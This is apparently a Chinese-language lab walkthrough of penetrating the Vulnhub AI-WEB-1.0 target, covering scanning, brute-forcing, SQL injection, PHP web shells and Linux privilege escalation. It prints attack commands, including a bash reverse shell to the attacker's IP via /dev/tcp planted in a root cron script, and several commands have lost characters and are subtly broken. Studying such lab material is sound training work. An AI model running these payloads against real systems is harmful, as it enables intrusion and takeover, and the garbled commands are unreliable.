Vulnhub靶机渗透实战：从信息收集到权限提升的完整攻防演练 1. 项目概述AI-WEB-1.0靶机渗透实战的意义如果你对网络安全、渗透测试感兴趣并且已经厌倦了纸上谈兵的理论那么Vulnhub上的靶机就是你最好的实战沙盒。今天我们要聊的“AI-WEB-1.0”就是这样一个专门设计来模拟真实世界Web应用漏洞的实战环境。它不是一道简单的CTF题目而是一个综合性的“迷宫”里面布满了从信息泄露、弱口令到代码执行、权限提升等各种经典漏洞考验的是你系统性的渗透思维和工具链的熟练度。很多新手拿到一个靶机第一反应就是打开扫描器一顿扫然后对着漏洞报告发呆不知道下一步该做什么。这篇指南的目的就是带你从零开始手把手地走完一次完整的渗透流程让你不仅知道“怎么做”更理解“为什么这么做”。我们将以AI-WEB-1.0为例但其中涉及的思路、方法和工具适用于绝大多数Vulnhub靶机甚至是真实世界的授权安全评估。无论你是刚入门的安全爱好者还是想巩固实战技能的学生这篇超过5000字的深度解析都将为你提供一份清晰的“作战地图”。2. 渗透测试核心方法论与前期准备在真正动手之前我们必须建立起正确的“作战思想”。渗透测试不是漫无目的的乱撞而是一个有章可循的周期性过程。业界普遍采用的标准流程如PTES渗透测试执行标准或我们自己归纳的简化流程通常包括以下几个关键阶段信息收集、漏洞扫描与分析、漏洞利用、权限维持与横向移动、后渗透与清理。对于AI-WEB-1.0这类静态靶机我们重点关注前四个阶段。记住信息收集是整个过程的基石往往能决定渗透的效率和成功率。在信息收集上花费的时间通常会在后续阶段加倍地节省回来。2.1 环境搭建与网络配置工欲善其事必先利其器。我们的作战平台通常选择Kali Linux因为它集成了渗透测试所需的绝大多数工具。首先你需要从Vulnhub官网下载AI-WEB-1.0的虚拟机镜像文件通常是.ova或.vmdk格式。使用VMware Workstation或VirtualBox导入该虚拟机。这里有一个关键步骤务必将靶机AI-WEB-1.0和攻击机Kali Linux的网络模式设置为同一网段。最常用的方式是“NAT模式”或“仅主机模式”。我个人的习惯是使用“仅主机模式”并为虚拟网卡配置一个固定的IP段比如192.168.56.0/24。这样可以确保攻击环境与外部互联网隔离避免意外扫描到公网资产同时也简化了网络拓扑。启动靶机后我们首先需要确定它的IP地址。由于靶机通常不会主动告诉我们我们需要进行网络发现。注意在VMware中如果使用NAT模式靶机可能会从DHCP获取一个与Kali不同网段的IP如192.168.xxx.xxx。此时你需要确保Kali能路由到该网段或者更简单的方法是将两者都设置为“桥接模式”并连接到同一个物理网络如你的家庭Wi-Fi这样它们就会处于同一局域网内。对于初学者“仅主机模式”是更稳妥、干扰更少的选择。2.2 基础信息收集发现目标信息收集的第一步是找到目标。在Kali中打开终端使用ifconfig或ip addr命令查看自己的IP地址假设为192.168.56.101。接下来我们需要扫描整个网段找出靶机的IP。这里有两个经典工具netdiscover一个主动/被动的ARP侦查工具在局域网内发现主机非常高效。sudo netdiscover -r 192.168.56.0/24执行后它会列出该网段内所有活跃的IP和MAC地址。寻找那个不属于你已知设备如你的Kali、宿主机的IP那很可能就是靶机。假设我们发现192.168.56.105很可疑。nmap进行更全面的主机发现和端口扫描。sudo nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描主机发现不扫描端口。同样它会列出存活的主机。确认靶机IP后我们假设为192.168.56.105信息收集的深度工作就正式开始了。这个阶段的目标是绘制一张关于目标的“全景图”它开放了哪些门端口、门上挂着什么牌子服务横幅、门后大概是什么房间服务类型和版本甚至门口有没有贴告示HTTP标题、robots.txt等。3. 深度信息收集与漏洞扫描确定了目标的IP我们就要拿起“望远镜”和“听诊器”仔细打量这栋“建筑”的每一个细节。这一步的质量直接决定了后续攻击路径的选择。3.1 端口与服务探测使用nmap进行全端口扫描和服务版本识别这是最核心的一步。sudo nmap -sV -sC -p- 192.168.56.105 -oN nmap_initial.txt-sV: 探测服务/版本信息。-sC: 使用默认的Nmap脚本进行扫描能发现一些常见漏洞和信息。-p-: 扫描所有65535个端口。-oN nmap_initial.txt: 将扫描结果输出到文件便于后续分析。扫描结果可能会显示类似以下内容这是基于常见靶机构建的示例PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB-0deb10u1 8080/tcp open http-proxy?从这份报告我们可以解读出22端口 (SSH)开放运行的是OpenSSH 7.9。我们可以记下版本后续可以搜索该版本是否存在已知漏洞如用户枚举、认证绕过等但通常较新版本的SSH直接利用难度大更多作为后期爆破或密钥利用的入口。80端口 (HTTP)开放运行Apache 2.4.38。这是我们的主攻方向Web应用漏洞大多集中于此。3306端口 (MySQL)开放。这提示我们靶机可能运行着数据库并且可能存在弱口令、SQL注入等漏洞。但MySQL端口通常不直接对外网开放这里开放了是一个强烈的信号。8080端口可能是一个额外的Web服务或代理需要进一步访问确认。3.2 Web路径与目录枚举既然80端口是Web服务我们接下来就要探索这个网站的结构。手动浏览是一个好习惯但效率太低。我们需要使用工具进行目录爆破。手动浏览首先在浏览器中访问http://192.168.56.105。观察首页内容查看源代码注意是否有注释、隐藏链接、JS文件泄露路径等信息。尝试点击所有可见链接。目录爆破使用gobuster或dirb等工具。gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak -o gobuster_scan.txt-u: 目标URL。-w: 使用的字典文件。Kali自带的common.txt是个不错的起点。-x: 尝试这些后缀。-o: 输出结果。扫描可能会发现诸如/admin,/login.php,/backup,/uploads,/robots.txt等关键目录和文件。检查特殊文件robots.txt访问http://192.168.56.105/robots.txt看是否列出了不允许爬虫访问的目录这些目录往往包含管理后台或敏感文件。源码泄露检查是否有.git,.svn,.DS_Store等目录或文件泄露这可能导致源代码被下载。备份文件尝试访问index.php.bak,config.php.bak,database.sql.zip等常见备份文件名。3.3 漏洞扫描器辅助分析对于Web应用我们可以使用自动化漏洞扫描器进行初步筛查但切记扫描器只是辅助不能替代人工分析。它们可能会误报或漏报但其报告可以作为我们深入测试的线索。Nikto一个经典的Web服务器扫描器能快速识别服务器配置问题、过时的软件和潜在的危险文件。nikto -h http://192.168.56.105 -o nikto_scan.txtWPScan如果目标是一个WordPress站点AI-WEB-1.0可能不是但这是常用技能那么WPScan是神器。wpscan --url http://192.168.56.105 --enumerate u,p,t --api-token YOUR_API_TOKEN需要注册获取API Token以更新漏洞数据库在进行完深度信息收集后你应该已经拥有了一份包含目标IP、开放端口、服务版本、网站目录结构、可能存在的敏感文件以及初步漏洞线索的详细报告。现在我们就要基于这些信息开始尝试“开门”了。4. 漏洞利用与初始访问突破信息收集阶段为我们提供了多个可能的入口点。我们需要根据线索的强弱和利用的难易程度制定攻击路径。一个常见的策略是先Web后服务先通用漏洞后特定应用漏洞。4.1 Web入口点分析与利用假设我们的目录扫描发现了/admin/login.php。访问它是一个管理员登录页面。弱口令爆破这是最常见的突破口。我们可以使用hydra对登录表单进行爆破。hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.105 http-post-form /admin/login.php:username^USER^password^PASS^:FInvalid-l admin: 假设用户名为admin。你也可以用-L user_list.txt指定用户名字典。-P rockyou.txt: 使用著名的弱口令字典。http-post-form: 指定协议和表单参数。/admin/login.php:username^USER^password^PASS^:FInvalid: 这是关键参数。它告诉hydra向这个URL提交POST请求将^USER^和^PASS^替换为字典中的值如果返回的页面中包含“Invalid”字样就说明登录失败。实操心得爆破前最好先手动提交一次错误的登录用Burp Suite抓包仔细查看请求的格式、参数名、以及登录失败时返回页面的特征字符串如“Login failed”, “Invalid”等。http-post-form的语法比较挑剔参数必须完全匹配。对于复杂的表单有CSRF token等使用Burp Suite的Intruder模块进行爆破会更灵活。SQL注入测试如果登录表单存在SQL注入漏洞我们可能无需爆破就能绕过登录。在用户名和密码框尝试输入经典payloadadmin OR 11。同时使用sqlmap进行自动化检测。sqlmap -u http://192.168.56.105/admin/login.php --datausernameadminpasswordtest --level3 --risk2 --batch--data: 提交的POST数据。--level/--risk: 提高检测等级和风险级别检测更全面的注入类型。--batch: 以非交互模式运行自动选择默认选项。如果sqlmap确认存在注入点我们可以尝试获取数据库信息、表名、列名甚至直接导出管理员账户的密码哈希值。sqlmap -u http://192.168.56.105/admin/login.php --datausernameadminpasswordtest --dbs # 枚举数据库 sqlmap ... -D target_db --tables # 枚举指定数据库的表 sqlmap ... -D target_db -T users --columns # 枚举users表的列 sqlmap ... -D target_db -T users -C username,password --dump # 导出用户名和密码文件上传漏洞如果扫描发现了/upload.php或类似功能这可能是获取Web Shell网页后门的绝佳机会。尝试上传一个图片文件如.jpg测试功能是否正常。然后尝试上传一个包含PHP代码的文件如shell.php内容为?php system($_GET[cmd]);?。常见的绕过技巧包括修改后缀shell.php-shell.php.jpg或shell.pHp。修改Content-Type在Burp Suite中拦截上传请求将Content-Type: application/x-php改为Content-Type: image/jpeg。利用解析漏洞如shell.php.jpg在某些配置下可能被解析为PHP。制作图片马使用exiftool将PHP代码写入图片的EXIF信息中然后配合文件包含漏洞执行。4.2 服务漏洞利用如果Web入口久攻不下我们可以回头看看其他开放的服务。SSH弱口令或密钥泄露对SSH服务进行爆破。hydra -L user_list.txt -P password_list.txt ssh://192.168.56.105 -t 4同时检查网站源码、备份文件中是否泄露了SSH私钥id_rsa。如果找到需要将其权限设置为600然后尝试连接。chmod 600 found_id_rsa ssh -i found_id_rsa user192.168.56.105MySQL弱口令与UDF提权如果MySQL存在弱口令如 root/root我们可以连接并尝试写入Web Shell或进行UDF提权。mysql -h 192.168.56.105 -u root -p连接成功后-- 查看数据库寻找Web应用的数据库 SHOW DATABASES; USE webapp_db; -- 尝试通过SELECT INTO OUTFILE写入Web Shell需要FILE权限和secure_file_priv设置允许 SELECT ?php system($_GET[\cmd\]); ? INTO OUTFILE /var/www/html/shell.php;注意INTO OUTFILE需要MySQL用户具有FILE权限并且secure_file_priv系统变量不能为NULL通常为空或指定目录。这在实际靶机中是一个常见的考点。假设我们通过Web文件上传漏洞成功将shell.php上传到了/uploads/shell.php。访问http://192.168.56.105/uploads/shell.php?cmdid如果页面返回了当前用户的id信息如uid33(www-data) gid33(www-data) groups33(www-data)恭喜你你已经获得了初始立足点——一个Web Shell并且当前权限是www-dataWeb服务运行用户。这标志着我们成功突破了边界进入了目标系统内部。5. 权限提升与后渗透获得一个低权限的Shell如www-data只是第一步。我们的目标是获得最高权限root。这个过程称为权限提升Privilege Escalation是渗透测试中最能体现技术深度的环节之一。5.1 信息收集内部首先我们需要在目标机器内部收集信息寻找提权的线索。上传一个功能更强大的后门如用Python或PHP写的反弹Shell脚本或者直接使用Web Shell执行命令来收集信息。系统信息# 查看内核和系统版本 uname -a cat /etc/os-release # 查看当前用户和权限 id whoami sudo -l # 非常重要的命令查看当前用户可以以root身份无需密码运行哪些命令进程与服务ps aux netstat -tulpn # 或 ss -tulpn systemctl list-units --typeservice敏感文件与配置# 查找SUID/SGID文件重点 find / -type f -perm -us -ls 2/dev/null find / -type f -perm -gs -ls 2/dev/null # 查找可写的敏感目录 find / -type d -writable 2/dev/null | grep -v /proc\|/sys # 查找配置文件中的密码 find / -name *.php -o -name *.conf -o -name *.config -o -name *.ini | xargs grep -i password\|passwd\|pwd 2/dev/null # 查看历史命令 cat ~/.bash_history计划任务crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab5.2 常见提权路径实战根据内部信息收集的结果我们可以尝试以下几种经典的提权方法路径一利用SUID/SGID二进制文件如果find命令发现了不常见的SUID文件如find,vim,bash,nmap,more,less等可以利用它们来提权。例如发现find有SUID位# 方法1使用find的-exec参数执行命令 touch /tmp/root-shell find /tmp/root-shell -exec /bin/bash -p \; # 此时会弹出一个bash由于find以root权限运行-exec执行的bash也继承了root权限。再如老版本的nmap有交互模式nmap --interactive在交互模式下可以执行shell命令!sh如果nmap是SUID则获得root shell。路径二利用sudo权限如果sudo -l显示当前用户可以以root身份无需密码运行某些命令如vi,python,perl,tar,awk等这就是一条捷径。# 例如可以无密码运行vi sudo vi /etc/passwd # 在vi中输入 :!sh 即可获得一个root shell # 或者可以无密码运行python sudo python -c import os; os.system(/bin/bash)路径三内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。首先用uname -a查看内核版本然后在攻击机上搜索对应的EXP漏洞利用程序。Kali中自带searchsploit工具。# 在Kali上搜索 searchsploit linux kernel 3.13 # 替换成目标内核版本找到EXP后将其上传到靶机可以通过Web Shell的wget功能或在本机搭建HTTP服务python3 -m http.server 8000然后在靶机上下载wget http://192.168.56.101:8000/exploit.c。在靶机上编译并运行EXP。gcc exploit.c -o exploit chmod x exploit ./exploit如果成功你会看到#提示符表示获得了root权限。重要警告在真实环境中运行内核EXP风险极高可能导致系统崩溃蓝屏。仅在授权的测试环境或靶机中使用。路径四利用定时任务Cron Jobs如果发现一个以root身份运行的定时任务并且该任务执行的脚本或目录当前用户有写入权限我们就可以通过篡改该脚本来获得root权限。# 假设发现 /etc/cron.hourly/cleanup.sh 以root运行且www-data可写 echo bash -i /dev/tcp/192.168.56.101/4444 01 /etc/cron.hourly/cleanup.sh # 然后在Kali上监听4444端口nc -lvnp 4444 # 等待定时任务执行即可收到root的反弹shell。路径五MySQL UDF提权如果我们之前获得了MySQL的root权限并且MySQL服务是以root身份运行的常见于老旧系统可以尝试通过UDF用户自定义函数提权。在攻击机上找到UDF库文件如lib_mysqludf_sys.so对于Linux。将其上传到靶机MySQL可访问的目录如/tmp或/usr/lib/mysql/plugin/。在MySQL中创建函数并执行系统命令。 这个过程较为复杂需要MySQL的FILE权限和插件目录的写入权限是CTF和靶机中的经典题型。在AI-WEB-1.0靶机中很可能结合了上述多种漏洞。例如通过Web漏洞获得www-data shell然后发现一个具有SUID位的、不常见的程序或者一个配置错误的sudo条目最终完成提权。当你看到#提示符并且id命令显示uid0(root)时就意味着你已经完全控制了这台靶机。6. 总结与经验固化一次完整的渗透测试在获取root权限后还应包括权限维持创建后门账户、安装rootkit等、横向移动在内网中攻击其他机器和清理痕迹删除日志、历史命令等等后渗透阶段。但对于Vulnhub靶机我们的主要学习目标在获得root权限时就已经达成。回顾整个AI-WEB-1.0的渗透过程我们可以提炼出一些普适性的经验和技巧信息收集是灵魂不要吝啬在信息收集上的时间。全面的扫描、仔细的手工审查往往能发现自动化工具忽略的细节比如JS文件中的API路径、注释里的密码、不常见的子域名等。工具是延伸的手思维是核心的脑熟练掌握nmap, gobuster, hydra, sqlmap, burpsuite等工具是基础但更重要的是根据收集到的信息形成攻击链路的逻辑思维。为什么先试这个如果不行备选方案是什么提权路径依赖系统知识Linux权限体系SUID, SGID, Capabilities、服务配置sudo, cron、内核机制等系统知识是权限提升的基础。平时多积累这些知识遇到问题时才能快速定位方向。保持好奇心与耐心渗透测试就像解谜。遇到阻碍时回头重新审视信息收集的结果换个角度思考。那个不起眼的文件、那个奇怪的端口、那条被忽略的报错信息可能就是突破口。文档与复盘在整个过程中养成随时记录的习惯。用了什么命令、得到了什么结果、下一步计划是什么。渗透结束后撰写详细的报告进行复盘将实战经验转化为固化的知识。最后关于AI-WEB-1.0靶机本身由于它是一个具体的、静态的环境其漏洞点是固定的。我强烈建议你在按照本指南的思路进行尝试后去搜索其他人关于此靶机的详细Write-up解题报告。对比他们的方法和你的方法看看有哪些遗漏的入口点比如一个隐藏的参数、一个易被忽略的备份文件、一个非常规的提权手法这种对比学习能极大地提升你的漏洞挖掘和利用能力。记住靶机是训练场在这里摔打出的技能和养成的思维习惯才是你面对更复杂、更真实的网络环境时最宝贵的财富。